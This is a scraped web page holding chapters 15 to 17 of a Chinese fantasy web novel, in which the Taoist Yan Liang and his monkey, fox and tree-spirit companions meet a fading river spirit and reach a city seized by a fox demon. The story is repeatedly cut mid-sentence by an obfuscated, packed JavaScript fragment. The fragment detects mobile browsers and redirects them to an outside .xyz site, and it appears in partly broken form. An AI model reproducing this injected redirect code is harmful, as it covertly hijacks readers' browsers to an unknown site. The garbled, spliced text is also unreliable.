她满怀好意与祝福,但环娘却怀揣着对贾家的恨意溺死在那口井中。 对人类而言漫长的一生与精怪来说不过须臾,她诞生灵识有三百年,河流奔腾不息,看过无数悲欢离合,大部分情况下,精怪是很难像人类一样理解并共情的。小女孩是第一个特殊的人,而环娘是第一个鬼。 她什么都不懂,但觉得自己应该要做点什么,所以悄悄帮助环娘,助环娘构建幻境,将井内灵气拱手相让,帮环娘凝实魂魄。 直到现在,她依旧不太明白自己那么做的理由。 旱灾结束,河水并未枯涸,但时光轮转,当年的小小河流也化作许许多多的水潭,藏身林野深沟,她已是强弩之末。 她名唤“泱水”,但如今已经很少有人记得她的名字了。 晏良默然,这样的故事不在他的预料之中。 苍山泱水,苍山茫茫,江水泱泱,即使泱水说自己是一条小小的河流,想必也是一条十分宽广的河流。 槐树道:“你这么多年,没有找到别的修炼法门么?” 泱水眼神专注地看着他,眸光闪动,停顿片刻后摇头道:“我的本体从旱灾时就开始枯涸,再怎么修炼也无济于事。”反而修炼会变得更加困难煎熬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726748|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 槐树不说话了,所有生灵都有本体,就算是他,本体被人撅了根,他也会死,就算被人砍断,对修为也有损害。 白狐用后肢挠耳朵,他一听这种话就觉得耳朵很痒:“可你不帮环娘的话,也不会衰败得如此之快。” 语气复杂,掺着点恨铁不成钢的意思,白狐显然很不支持泱水这种为了人类而拖累自己的行为。 晏良若有所思,其实可能不止,他这段时间看出白狐并不是很喜欢人类,是个有故事的狐狸。 泱水依旧是温温柔柔地笑着:“我只是做了我想做的事。” 白狐也不挠耳朵了,冷哼一声:“哼,做了也是白做,如果不是你自己说,我们来的路上连你的名字都不知道呢。” 声音还没落地,耳朵就被猴哥揪住,痛得直叫:“臭猴子,你做什么?” 猴哥道:“我教训你。” 白狐大叫:“凭什么?” 猴哥道:“人家爱做什么做什么,你在这里阴阳怪气,有什么看不惯的直说就是!” 白狐道:“我也爱做什么做什么,你管什么!?” “我可没有管你,我只是看不惯直说而已。” 猴哥收回手,白狐揉着耳朵委屈不已,控诉地看向晏良,晏良却没看他,而是低着头从包袱里翻符咒。 不是吧,晏良真要一直做好人吗?白狐觉得不可思议。 环娘构建幻境的灵气有她的一部分,所以泱水早早就知道晏良在幻境里的所作所为,当晏良递给她一朵小红花时,她微笑着接了过来。 “谢谢你,晏道长。” 泱水能够看出这是一朵充满善意祝福的花,珍重地端详它,微笑。 晏良重新系好包袱,道:“我还是新手上路,它的功效还不是最好的,但也许对你有用。” “有用”并不是指解决泱水的问题,而是延长她的寿命,助她修炼,收集雨水,帮她在这人世间多停留一段时日。 泱水微笑道谢。 她收起小红花,目光再次看向槐树。 晏良顺势介绍道:“这位是槐树精,虽然看起来小小的,但本体很大。” 泱水轻轻道:“原来你真的是槐树。” “什么意思?”槐树问。 “我曾经见过一个手持槐木剑的人。”泱水说,“那柄剑与你有着相似的气息。” 之所以说相似,是因为泱水记忆中的那柄槐木剑阴森可怖、萦绕怨念之气,和坐在晏良肩膀上神态平静的槐木小人截然不同。 槐树的脸色沉了下来。 白狐道:“哦,说起来那个道士临走前是不是折了你一根树枝?我记得你提过这件事。” 槐树不语,而晏良和猴哥互相看了一眼,知道彼此想一块去了。 仿佛是为了印证他们的猜想似的,泱水紧接着说:“那个道士,就是我说的邪道。” 蛊惑百姓做人祭的邪道,也是画阵消除怨气、将槐树困于阵中的道士。 尽管槐树没开口,但他的表情已经证实了这件事。 15.寻仙问道(十五) ‖晋。江文学城独发‖ * 槐树被道士困在阵中约有两百年,旱灾发生距今约有一百三十年,中间相隔七十年左右,然而泱水和槐树见到的道士却仿佛没有发生任何变化,乌发掺白丝,蓄着短须,面无表情,年约五十来岁。 白狐纳闷道:“一百三十来岁也不算奇怪,你们的表情怎么这么凝重?” 猴哥比他更纳闷:“你这呆狐狸不记得吗?他俩遇见的道士一好一坏,却是同一个道士,如此可疑,当然让人觉得奇怪。” 年纪不是重点,重点是同一个道士,却在不同的时间点做了含义截然相反的两件事。 槐树面无波澜,他和那道士只有手下败将这一层关系,被折走的树枝也是未经他允许擅自带走的。 那时的槐树怨气冲天,所在之处是无人敢靠近的鬼域,道士和尚接连退败,只有那个道士制伏了他。 那人其实说了很多话,但槐树偏偏记住了最不爱听的一句,日复一日,年复一年,愈发执拗。 ——所以他对那个道士除了长相和曾说过的话没什么可说的。 “真的——?”白狐大叫,“我以为你是不想提仇人,结果是因为你不记得!” “他不算仇人。” 槐树否定了这一说法。两百年间他恨过天,恨过地,没恨过任何曾找上门的道士或和尚。 无非是心有担当职责所在罢了,没什么好记恨的。 晏良充分明白了槐树的言外之意,不由得感慨,槐树钻牛角尖的点相当新奇,明明两百年间憋得变态觉得所有人死了都无所谓,结果对困住他的道士一点恨意都没有。 某种方面来说槐树像是是矛盾的集合体,既执拗又豁达,活得久的老妖怪都是这样吗? 晏良自认自己还称不上老妖怪,他不想停下这场旅途,还想见到更多的风景。 泱水不想在客人面前失礼,但维持幻境的时间一久,她便有些支撑不住,四周场景化作原本断壁残垣的荒凉模样。 此时已近日落,天地间色彩缤纷,余晖耀眼夺目,晚风轻拂,带来一阵凉意。 于是今夜在泱水的旧庙中落脚。 在好几百年前,有人为泱水立庙,烧香供奉,祈求风平浪静,风调雨顺。这也是泱水能够诞生灵识、存于天地之间的重要原因之一。 说是立庙供奉,但在最初不过是一个矮小的土屋,后来添砖加瓦扩大规模,再到后来被人遗忘,破败不堪。 晏良在和泱水聊起那场旱灾,聊到那善恶难辨的道士,也听到了许多泱水数百年间曾见过的悲欢离合。 悲欢离合总无情,过去泱水不太懂,但在小女孩身死之际,她愤怒、茫然、难过,河水涌动,波涛汹涌,才杀了一个孩童的人们欣喜若狂。 而道士冷眼旁观,泱水不曾现身,当时她也无力现身,但道士仿佛能看见她似的,低头看着汹涌的河面,眼神冷漠,嘴角笑意冰冷。 晏良心想,这还能不是反派boss? 槐树忍不住道:“我记得他不是这种风格。” 他伸手在空中一点,墙角的杂草瞬间蔓延伸长,在空中圈出一个圆,中间映出他记忆里的道士。 面容平和,眼神悲悯,有一种悲天悯人的气质。 这幅画面在空中停了几息,便像断电的电视一般消失不见,长长的杂草垂落在地。 但那个道士的长相被所有人看在眼里,泱水的表情在恍惚之余也有点困惑:“确实是一张脸……但气质截然不同。” 晏良摸摸下巴,严肃道:“看来他有两张面孔,不知哪个才是真的他。” 猴哥在一旁挠头,摆出和晏良一样严肃的表情。 白狐的尾巴甩来甩去:“不是,不提他可能死了,就算他还活着,找到他又有什么用?人就算死了也还能投胎转世啊。” 猴哥觉得白狐的话怎么听都不顺耳,道:“你这呆狐狸,人活一世却莫名其妙地丢了性命,岂不是白来世上一趟?” 晏良点头附和,所以他死了很多次,都努力争取让自己不要死得莫名其妙。 因他人的私欲恶念而死,着实令人不甘心。 白狐一噎,抖了抖胡子,道:“你们一个求长生的猴子一个借尸还魂的道士,谈什么‘人活一世’?” 晏良默了默,亏他平常嘴还挺巧的,这会儿面对白狐耍赖的歪理一时片刻竟然无法回应。 他活了确实不止一世,尽管每世都十分短暂,但每次都有如新生。 猴哥倒是简洁明了得多,一爪子拍上白狐的脑壳:“别耍赖说胡话!” 白狐气得浑身的毛都炸了起来:“你晓不晓得什么叫做尊老爱幼!我可是你狐爷爷!” 猴哥倒是对人间的各种道理礼仪有所耳闻,但一点都不想配合一只总是阴阳怪气的狐狸,道:“你说了,我是一只猴子,凭什么对你一只狐狸讲人类的尊老爱幼?” 白狐开始在地上打滚,没说话,但发出了“阿嗷啊嗷”的奇怪叫声。 晏良默默伸手,捏住狐狸的尖嘴,温和道:“夜深露重,不要扰民。” 吵得脑瓜子疼。 白狐:“唔嗯嗯嗯!!” 晏良:“好,吃烤鸡是吧,明天给你烤。” 白狐:“唔!” 槐树纳闷:晏良究竟是怎么听懂狐狸的话的? * 第二天,一行人向泱水道别。 昨晚临睡前的对谈时,晏良从泱水那里知道了不少奇闻异事,远比他所搜集的故事靠谱和真实。 泱水比槐树大了好几百岁,日夜奔腾不息,历经春秋轮转,知道的事情也远比槐树这个扎根大地不能远走的草木多。 她曾见过神仙。 猴哥缠着泱水问了许多有关仙人的形状外貌,只是年岁已久,遥遥约有八百年,两人从天而来,似是斗法,法器金光灼目耀眼,法力余波激起百丈飞浪,两仙忽来忽往,泱水不曾窥其全貌。 “不过,其中有一人用的是火。”泱水感慨地说,“又烫又热,我差点以为我要被烤干了。” 晏良沉默,这显然不是什么夸张的修辞手法,存在神仙妖魔的世界中一切皆有可能。 神仙这么闲的吗?还斗法,大火烤水是想利用水蒸气蒸桑拿吗? 晏良还没见到多少神仙鬼怪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14757111|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但已经深刻认识到这个世界的实力等级压根不是科学武侠世界能比的。 同泱水告别之后,晏良更加专注于修习回春诀和学习问天卦灵术,槐树同样沉迷修炼,一人一树一拍即合,定下合理互殴的约定。 彼此都不是会手下留情的主,一个往七分之死抽,一个往八分之死打——其中有一分是他身体太弱,每回和槐树交手之后无论输赢都得呼哧呼哧跪地喘气,即便如此,晏良也能顶着一张惨白的脸接下槐树出其不意的试探。 “你其实是想把我打得半死不活吧!” 呼呼喘气时劈断了槐树从地里伸出的枝条后,晏良如此吐槽。 “少了,是七分死。”槐树淡淡地说。 晏良:“……” 恐怖如斯!这树一点都不遮掩了! 槐树道:“我在帮你。” 晏良将手里的神棍转了一圈,点头道:“我明白,谢谢你。” 猴哥观察良久,见晏良的目光再一次有意无意地看向自己,思考片刻,决定配合晏良:“话说回来,晏小弟,你这根棍子是从哪里得到的?” 不知道为什么,晏良一拿出神棍就会有意无意地在他面前转悠。猴哥虽然也挺喜欢这根黑漆漆的神棍,但因为想多看看晏良在他面前各种不经意转悠展示的样子,所以猴哥一直没提。 晏良高兴地扑过来,郑重地将神棍递给猴哥:“是我买的。请用!” 神态庄重,望着猴哥的眼神难掩激动。 猴哥:“……” 又来了。 这不明来由的喜欢,时不时冒出的热情,注视猴子时永远专注明亮的眼睛—— 毋庸置疑,晏良对猴子是既仰慕,又尊崇的。 猴子本猴当然在装哑巴期间就有所察觉,但晏良的态度已经明显到连白狐和槐树都无法忽视,所以此时此刻,晏良同时沐浴在猴、树、狐的目光之下。 晏良后知后觉地道:“猴哥,你不用吗?” 其实他也想看猴哥耍金箍棒,但有极大可能活不到好几百年后。 当然,如果他这个蝴蝶扇扇翅膀能让猴哥早点学成归乡去拿金箍棒也不是不可以—— 猴哥歪着脑袋看了会儿晏良,顺着晏良的意思舞起神棍,他天资聪颖,看晏良整日练武耍棍,都将招式记在心里,竟分毫不差地使了出来。 晏良:“!!” 不愧是猴哥! 晏良高兴得绕着猴哥转圈,挥着手臂乱舞,一个人愣是整出了群魔乱舞的架势。 猴哥默默地看他。 就这么高兴? 槐树不忍直视,白狐小声嘀咕:“究竟谁才是猴子?” 他开口喊:“晏良!” 随着这一声呼唤,晏良回头,白色的狐狸如一颗炮弹般撞进他怀里,“我要吃烤鸡!” 晏良提溜着狐狸,道:“不可以。你得吃点青菜,这样才营养均衡。” 猴哥说:“我想吃桃。” 晏良一句话没说,递出桃。 是用积分批发的,专给猴哥吃的桃子。 “……”白狐沉默片刻,开始叫,“啊嗷啊嗷呜——” 16.寻仙问道(十六) ‖晋。江文学城独发‖ * 白狐不是很喜欢人类,但也谈不上讨厌。他不会管人类死活,更不会为取乐而肆意杀人。然而人类受天地钟爱,数量繁多,有些事即使他不在乎,却还是会时不时地耳闻目睹。 大部分人类最喜欢的应该是毛绒绒的动物才对吧? 一个猴子的毛哪有狐狸的软和? “太奇怪了!”白狐不甘心地说,“我哪里比不上你这个臭猴子?看我这洁白柔软的毛发,优雅动人的身姿,弧度优美的耳朵,动听的嗓音,哪个不比你好看?我身上甚至没有人类不喜欢的那种体味!” 他才不是想得到晏良的认可或是喜爱,只是不想输给一直猴子罢了。 猴哥才不会搭理白狐这莫名其妙的胜负欲,懒懒一瞥,转头去看晏良和槐树过招。 晏良的进步速度十分惊人,任谁修习一个为自己量身打造的功法好几遍,都会烂熟于心。 但对与他交手的槐树来说,晏良的表现令树相当惊讶,就算是他自己,在分身上修炼也没有进步得如此之快。 “你是曾拜谁为师么?”槐树问。他心里有许多猜测,晏良说自己会卜卦,说猴子的仙缘在西牛贺洲,甚至具体到灵台方寸山,他其实半信半疑,毕竟晏良摆在台面的个人情报实在太少,关于自己“借尸还魂”的原因过程一个字都不曾说过。 不说借尸还魂后还能用“袖里乾坤”,这个倒是很好理解,有些法术确实可以将法器与灵魂绑定,但那根叫“神棍”的棒子是买来的就相当迷惑了…… 槐树的过去三言两语就可以说明,但晏良的秘密好像不是一时半会就能说完的。 “师父?”晏良琢磨了一会儿,给出来一个更加令树迷惑的答案,“我的师父是书……也不对,准确来讲,是师出无名?” 你自己疑惑又是怎么回事。 槐树默然,他不觉得自己的问题多余,但晏良的回答显然不能让他满意。 “书”又是谁的书? 晏良本人也无法给出答案,不管是他修习的回春诀还是问天卦灵术,都不没有写明作者,他倒是知道发明奇门遁甲周易八卦的人物,却不知道自己是不是算他们的弟子,问天卦灵术与它们有相通之处,但也有截然不同之处,无法准确地下定论。 和泱水分别约有五日,晏良终于结束了他对交通工具的雕刻,开始画符贴符。 平常除了按时睡眠休息的时间之外,他不止要修习回春诀,还要练习画符,布阵,附灵……问天卦灵术里的知识实在太多太多,晏良很难一下子全部掌握。 但给木车贴符附灵并不算太难,晏良握着毛笔写字时忽然顿悟,明白为什么画符时会有一种微妙的熟悉感了——和写代码是同样的道理,没有按照正确的逻辑输入灵力的话,程序不会运转,符咒不会灵验。 心念一动,下笔如有神,心中的桎梏消失无踪,晏良莫名觉得自己此刻强到可怕,不会再有拦住他的符咒了! 一不做二不休,晏良啪啪将集防御、攻击、加速的符咒往木车上贴,一与木车接触,符咒便渗入其中,与其融为一体,晏良一边啧啧感叹“好厉害,真神奇”,一边再次掏出新的符纸丹砂。 猴哥原本在木车上跳来跳去,见状跳过来蹲在一旁:“还有什么没做完的吗?” 晏良提着毛笔,兴冲冲地说:“猴哥,我给你召唤阎王,我感觉我现在做什么都能成功。” 话说了一半,笔已经落了下去,丹砂在黄纸上晕染渗透,笔画还没结束,符纸无火自燃,召唤再次以失败告终。 晏良双手握住毛笔,尴尬一笑,纳闷又失望。 他真心觉得自己方才是真的有所体悟、自信是真的自信,而不是高估自己而导致的自负。 猴哥起先是有点期待的,见状倒也不失望,笑了笑,道:“也许阎王老儿不想见人呢。待我日后寻得长生之法,阎王老儿还得来求我。” 白狐唧唧嘲笑:“你做梦,指不定日后下了地府你还得求阎王呢。” 猴哥还没生气,晏良却一脸深沉地否认了狐狸的说法:“一切皆有可能。” 猴哥伸爪挠挠脸颊,盯着晏良,没说话。 · 除了晏良和猴哥有点在意邪道的事,槐树和白狐一点都不在乎,而邪道最后一次露面是一百多年前,晏良卜卦问天,没有什么特别的线索,但晏良隐隐觉得对方不可能简简单单的死了。 猴哥在木车里跳来蹦去,晏良一边向他介绍自己刻的这辆小木车的结构,一边在心里琢磨问天不应,可以询地——白无常怎么说也算他三分之一的后台,打过两次交道后也有一定的情分了吧? 猴哥的尾巴晃来晃去,尾巴尖蹭到晏良的手,他收敛心神,眼前的猴哥正在驾驶座上转圈,开心之意无需言表。 于是晏良也忍不住跟着笑弯了眼,虽然雕刻的过程很麻烦,但结果简直完美到爆炸。 倘若是普通的马车车厢是没什么难度的,但晏良雕的是四轮车,车型参考越野车,稍作修改,空间合理,就算四人聚集吃火锅也没问题,动力靠符咒,轮子是一点都不动,玻璃也是没有的,相当于半敞篷,除了轮廓外形没一点像车的……但它够酷啊! 神仙可以冯虚御风骑牛乘辇,晏良只能驾车,既然如此,那就架独一无二的车车。 猴哥把控着方向盘,好奇地问:“这是什么?” 晏良热情地上手演示,原木色的大块头在空地上转来转去,前进后退,倘若有不知情的人见了,恐怕会以为这是什么恐怖的妖怪。 白狐蹲在高坡上向下看,时不时地能从窗子里瞧见一人一猴快乐的样子,他百思不得其解,晏良是怎么想出这新鲜玩意儿的?像车又不像车的车,他从来没见过呢。 槐树则若有所思地看着草坪上的痕迹,痕迹压得不深,是晏良用什么办法减轻了车子的重量吗? 正这么想着,下方的车子忽地一打弯,斜飞出去,压倒一大片草。 槐树:…… 算了,当他没想。 不管如何,晏良的车子很受猴哥欢迎,不用时缩小放进空间,需要用时便拿出来,有了它,甚至不需要以天为盖以地为席,方便得没谁了。 晏良抚摸着自己集满自己心血的小车车,将第一段路的驾驶权交给了猴哥。 因为练习时翻车的不是猴哥,而是他。 虽然在现代世界活了二十来岁,但他一半时间躺在病床上,就算成年后也没机会坐进车里,顶多玩玩赛车游戏……晏良的实战经验完全为零。 猴哥兴致勃勃,面对这样新奇的玩意儿爱不释手,驾驶水平就像他的性格猴急猴急的,脚下一蹬不是油门的油门,车子简直像要起飞似的蹿了出去,但速度最高也没高到哪儿去,晏良设置的最高速度是大约四十码,他的能力离设置一百二十码还远得很呢,更别说日行八百里,那就更难啦。 一想到这里,晏良立下宏愿:一定要开车上天!和猴哥一起! 他想得美滋滋,白狐蹲在车后惊得毛都炸开了:“非得乘这奇怪玩意儿吗?!” 晏良爱惜地说:“哪里奇怪啦。多么好的一辆车啊,你之后肯定会喜欢的。” 他都想用积分买两副墨镜,猴哥一副他一副,乘车时一戴,那叫一个酷帅狂霸帅。 没有过中二期的晏良在遇到偶像后,又身处这神奇瑰丽的世界之中,难免有点中二病发的迹象。 白狐说:“不会的!绝对不会的!” · 说着“不会的不会的”的白狐,在第二天就沉迷起开车,甚至为此特意变成人形,顶着个狐狸脑壳坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770301|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在主驾上开车。 晏良本可以用灵力直接驾驶车子,但在白狐的强烈要求之下没有那么做,反而让他有时间恢复精力,晏良其实还得谢谢他替自己分担。 在环娘构造的幻境之中,白狐曾以半人形现身,但那副身躯是环娘记忆里的心上人,魁梧健壮,而白狐自己幻化的半人形则是身姿修长、白皙到反光的模样。 他毕竟是只白色的狐狸嘛。 猴哥蹲在一旁时不时地戳戳皮肤,又和自己的手比对,很是稀奇,但一抬头,看到的却是一颗毛绒绒的狐狸脑袋。 晏良小心翼翼地伸手搭上狐狸脑袋,揉了揉,白狐脑袋一甩:“有这么稀奇吗?” 晏良认真点头:“没见过。” 猴哥也说:“难道你是修为不够,变不出完全的人样?” “……”白狐气得伸手砸方向盘,“我就爱这样!” 话是这么说,和他认识了二十年之久的槐树也不知道白狐为什么会如此不喜欢人类,而且他的不喜欢表现的方式相当奇怪,有些妖怪害人时都不忘变人诱惑,他这么个表现方式又犟又轴,像是在和自己赌气。 世间虽有妖魔鬼怪,但最多的还是人类,晏良没有地图,全靠问路卜卦,一个不留神,人类的城池近在眼前。 城池之上,乌云笼罩,妖气冲天。 晏良探出头,表情有些凝重。那妖气凝实深沉,城中有一个大妖。 由于没有参照物,晏良不太确定自己的实力是什么水平,但槐树以自己之前见过的道士和尚为参考,又耳闻目睹默默观察,给出晏良目前这个阶段的实力比他的本体实力多三分之二。 而槐树小木人的实力有本体的七分之一,这就是一个数学题,晏良算来算去,觉得比不上找个妖怪揍一顿。 他倒是想和白狐切磋切磋,但白狐不肯,十分坚定,于是晏良明明身边有一个活了好几百年的妖怪,却不能和他切磋。 狐妖也有不同的种类,修为会以尾巴条数显示,晏良所看到的白狐的尾巴只有一条,毛绒绒,又大又蓬松,但也有可能白狐把尾巴藏了起来。 思绪发散了一会儿,晏良回过神,瞧见远处人影,而白狐没有停车的迹象,立刻伸手捏捏狐狸耳朵,运用灵力停住了车子。 前方一堵人墙将进城的路围得水泄不通,男女老少都有,只是远远瞧着,便能看出几分坚定。 白狐双手环胸,面上露出不耐烦的神色,过了一会儿,他像是反应过来已经不用开车,“嘭”的一声变为原形。 晏良瞄了一眼,收回视线,然后忍不住又瞄了一眼。 因为白狐臭脸的模样有点像藏狐……相当有趣。 白狐注意到了晏良的视线,纳闷地抬眼看回去,晏良却转过脸,将侧面半张脸留给他,神色思索,道:“我下去问问。” 他说干就干,车门一开,双手笼袖,便慢悠悠地溜达过去了。 白狐瞪着他的背影,总觉得晏良方才看他那两眼时没想好事。 拦路的众人手持棍棒锄头,神情防备又警惕,眼见着从大块头里出来的年轻人越走越近,眉眼含笑,悠闲似闲庭信步,他们竟然莫名其妙地有点拘谨了。 “来、来者何人!”其中有个高壮青年大声喝道,“你是什么人?身后的又是什么东西?” 晏良还是那套说辞,说自己是个道士,身后的大块头是自己的法器。 这一身份摆出来,面前众人的表情都有所松动,晏良见状,十分贴心地补了一句:“我观此地妖气四溢……” “道长!”青年没听晏良说完,握着锄头激动上前,热泪盈眶,“请您救救我们!替我们捉了那狐妖!” 晏良:这么巧? 他刚才一直在想身边的白狐狸,眼下就要遇见一只狐狸,缘分真是妙不可言。 17.寻仙问道(十七) ‖晋。江文学城独发‖ * 晏良眼前这座被妖气笼罩的城池名叫天玄城,拦路之人自称他们都是城中百姓,你一言我一语向晏良道清事情的原委。 两个月前,有个狐妖杀了城主,入住城主府,天天要吃五只鸡,半扇猪,喝十坛好酒,倘若不能满足他的要求,他便会用人肉满足自己的食欲。他们住在城郊,在被牵连之前悄悄逃了出来,在城外躲躲藏藏有半个多月,既担忧被城中的亲朋好友,更担心被狐妖找上门。 而晏良问起有多少人不幸沦落狐口时,众人面面相觑,随后摇摇头,说:“只有城主大人死了。” 城主姓黄,在城主之位上坐了五年,年方二十六,未曾娶妻生子,兢兢业业,十分靠谱,十分得民心,一提到不幸的黄城主,众人面上都难掩悲伤之色。 “看来这狐狸也没这么坏嘛。” 一道声音忽地响起,年轻道长未曾开口,众人惊讶四望,不知道是谁说了这样没良心的话,而道长缓缓低头,众人循着目光看去,一只白毛狐狸蹲在道长脚边,一双狭长的狐狸眼睛闪着狡黠的光芒。 “狐妖!” “白毛狐狸说话了!” “啊啊啊啊——看招——!!!” 场面乱糟糟的,晏良赶忙叫停安抚:“各位莫慌!这位是我的同伴!不吃人!” 白狐在一旁眯眼笑,贱兮兮地大声喊:“不,我吃人!我特稀罕吃人肉!” 惊叫声更响,晏良在拦他们之前选择先给白狐一脑瓜崩儿,随后将狐狸提溜起来,也是护在手里,向惊慌的众人全方位三百六十度无死角展示,安抚道:“各位冷静一点,这只狐狸在我手里,不会伤害你们的。” 众人惊魂未定,半信半疑之际,不远处的大块头却动了起来,不过须臾便已至众人跟前,方方正正的窗子后蹲着一个猴子,正搭在边沿歪头歪脑打量他们。 在他旁边,还有一个背后细枝蔓延的小人,成人手掌长度,有一头褐发绿眼,也瞧着他们,眼神冷漠。 -0“……道长!”最勇敢的青壮年都有点绷不住了,“妖怪!妖怪!” 晏良深吸一口气,说:“他们都是我的同伴。” 猴哥朝他们拱拱手:“你们好。” “…………” 这次没有人再惊叫出声,所有人都陷入迷之沉默。 最终,也许是因为晏良坦坦荡荡的模样十分可信,没有人再就他的非人类同伴发表意见,引着晏良去往他们的藏身之处。 按距离来讲,他们藏匿的位置并不算隐蔽,倘若是大妖,要想抓他们简直轻而易举。 晏良以妖气凝实为前提,暂且推断那个大妖是不屑追杀逃走的百姓,是个心高气傲的妖怪。 既然事情摆在眼前,晏良当然不可能坐视不理。于是同百姓们告别,开着车径直往城里去。 白狐车也不开了,蹲在车头赞叹不已:“不知道是哪个狐兄狐弟自己当城主,这样岂不是能天天吃烤鸡?” 晏良想了想,一天五只鸡半扇猪还喝酒,过会儿见到的极有可能不是一只狐狸而是一头猪吧。 “每只狐狸都喜欢吃烤鸡吗?”晏良好奇地问。 “当然不是,就算是狐狸也有喜欢和不喜欢的食物。”白狐翘着尾巴说,“我们吃肉,不吃素,所以你下回别说什么健康不健康的,非往我嘴里塞菜叶子。” “话是这么说……但下回你可能还是得吃菜叶子。”晏良诚实地说。 白狐挠耳朵,抖着胡子没说话,挑什么都不能挑厨子的刺,吃几片菜叶子也没什么。 谁让晏良的烤鸡做的很好吃呢?就连晏良最擅长的烤鱼,平常不怎么吃鱼的狐狸也觉得很好吃。 春日明媚,阳光璀璨,莺啼鸟鸣,城中街道却一片死寂,门窗紧闭,乍一眼看去,竟像一座空城。 白狐原本还兴致勃勃,但随着车子向城内行进,妖气愈发浓厚,他的表情却越来越僵硬,藏狐脸重现,其中有两分忌惮,四分犹疑,再有四分是抗拒。 咦?藏狐脸不该是以孤傲的嘲讽为主吗? 晏良有些疑心自己记忆里的藏狐脸出了错,但能从一张毛绒绒的狐狸脸上看出这么多表情已经足够神奇,他看着白狐的脸色,询问道:“怎么了?” 白狐在车头转来转去,毛发炸开,像一团毛绒绒的云朵:“不不不不——掉头——不是!——算了——啊嗷啊嗷啊嗷嗷嗷——” 这是什么新型说唱吗?晏良停住车,正欲询问,一直在车顶眺望风景的猴哥倒勾着横栏揪住狐狸尾巴,道:“好好说话,吵得我脑瓜子疼。” 白狐跳脚道:“算了还是赶紧掉头吧!听我一句劝,别和这只狐狸对上,到时候麻烦事只多不少!” 晏良闻言几乎一秒就下了决断:“全速前进!” 猴哥在风中举手欢呼:“前进!” 槐树也十分难得地跟着举手:“前进——” 白狐叫:“啊嗷啊嗷啊嗷!” 与白狐朝夕相处有一段时间,晏良对他依旧只有大致的了解,一行人中大概只有他们俩的过去是个谜团。晏良不说,白狐也不说,隐隐有一种珍惜当下展望未来的默契在。 所以白狐觉得晏良如此积极主动很不像话,缩在车头背对晏良,没好气地道:“如果打不过还逃不掉可别怪我没提醒你们,那只狐狸很难招架,可不像我这么好说话。” 猴哥问:“是你亲戚?” 白狐惊道:“你怎么知道?!” 猴哥沉默了一下:“我猜的。” 晏良:从露出端倪到自爆……是不是太顺畅了一点? 白狐掩面不语,只是一味地埋头缩紧。 槐树道:“你曾经说你是一个孤独的狐狸。” 白狐猛地抬头:“就算是有亲戚的狐狸也可以是孤独的狐狸。” 晏良感慨万千:“好有哲思的一句话。” 白狐掩面:“你别说了,我说还不行吗?” 城主府就在不远处,虽然一路上已经足够招摇,但至今不曾有大妖的爪牙找上门,甚至连一个人影都没见着。 城中百姓都藏于门窗后,借缝隙小心翼翼地窥探,小声低语,观察着这来路不明、成员奇怪的队伍。 没有人觉得他们是来捉妖的,即使其中有一个从头到脚都再正常不过的年轻人,那能口吐人言的猴子和狐狸都让人心生恐惧。 他们听不清晏良等人的交谈声,晏良这边却能听到他们的低语。 总而言之,不是什么好话,觉得他们是跟妖狐一伙的有之,认定他们是被白狐带去献给妖狐的礼物也有之,因为白狐,所有人都觉得他们和妖狐是一伙的。 晏良听了这些话,心中忍不住琢磨,也许白狐对那只亲戚狐狸嫌烦是单方面的事,正是知道白狐同行,所以才没有谁前来阻拦。 白狐的烦躁倒是肉眼可见,毛发炸开,整只狐狸膨胀了一圈,如果不是猴哥抓着他的毛,大概白狐早就蹿进别人屋中叫人纠正改口。 城主府大门紧闭,肉香混着酒香从府中传出,其间隐隐可见人影晃动,笑语声不断,妖气熏天,浓郁至极。 晏良推开门,府内鲜花盛开,万紫千红,颜色耀眼夺目,一派欣欣向荣之景,屋内更深处传出轻柔动听的乐曲声,令人不由自主地循声前进。 当晏良回过神时,他已经即将要迈出去一步,槐树用纸条缠住了他的手腕没让他走远,而白狐则是整只狐狸被缠得紧紧的,像个包袱,即便如此,他还在费力扑腾。 猴哥伸爪握住白狐的尖嘴,两边各轻轻扇了一掌,白狐痛得回神,当即就叫道:“臭猴子,扯到我胡子了!” 猴哥眨眨眼,默默收回手。 白狐的亲戚是只灰色的杂毛狐狸,两狐之间的亲近程度就像干枯的沼泽——过去是湿哒哒黏糊糊扯不开分不清的时期,现在是只剩黑泥的坑。 这比喻方式让晏良有点困惑,很难分清这样的关系究竟是怎么样的关系,但妖怪的寿命如此漫长,感情纠葛想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 